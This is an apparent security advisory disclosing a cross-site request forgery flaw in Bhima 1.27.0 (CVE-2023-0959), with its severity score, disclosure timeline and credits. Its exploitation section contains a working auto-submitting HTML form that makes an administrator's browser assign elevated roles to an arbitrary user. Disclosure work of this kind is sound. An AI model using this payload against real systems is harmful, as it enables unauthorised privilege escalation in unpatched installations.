Bhima 1.27.0 - Privilege Escalation via CSRF
Summary
| Name | Bhima 1.27.0 - Privilege Escalation via CSRF |
| Code name | |
| Product | Bhima |
| Affected versions | Version 1.27.0 |
| State | Public |
| Release date | 2023-04-10 |
Vulnerability
| Kind | Cross-site request forgery |
| Rule | |
| Remote | Yes |
| CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H |
| CVSSv3.1 Base Score | 8.0 |
| Exploit available | Yes |
| CVE ID(s) |
Description
Bhima version 1.27.0 allows a remote attacker to update the privileges of any account registered in the application via a malicious link sent to an administrator. This is possible because the application is vulnerable to CSRF.
Vulnerability
This vulnerability occurs because the application is vulnerable to CSRF. In this way we can persuade an administrator to elevate the privileges of an arbitrary account.
Exploitation
Exploit.html
<!DOCTYPE html> <html> <body> <form action="http://localhost:8082/roles/assignTouser" method="POST"> <input type="hidden" name="user_id" value="6" /> <input type="hidden" name="role_uuids" value="5B7DD0D692734955A703126FBD504B61" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Evidence of exploitation
Our security policy
We have reserved the ID CVE-2023-0959 to refer to this issue from now on.
System Information
-
Version: Bhima 1.27.0
-
Operating System: GNU/Linux
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://github.com/IMA-WorldHealth/bhima/
Timeline
2023-02-22
Vulnerability discovered.
2023-02-22
Vendor contacted.
2023-02-22
Vendor replied acknowledging the report.
2023-04-10
Public Disclosure.
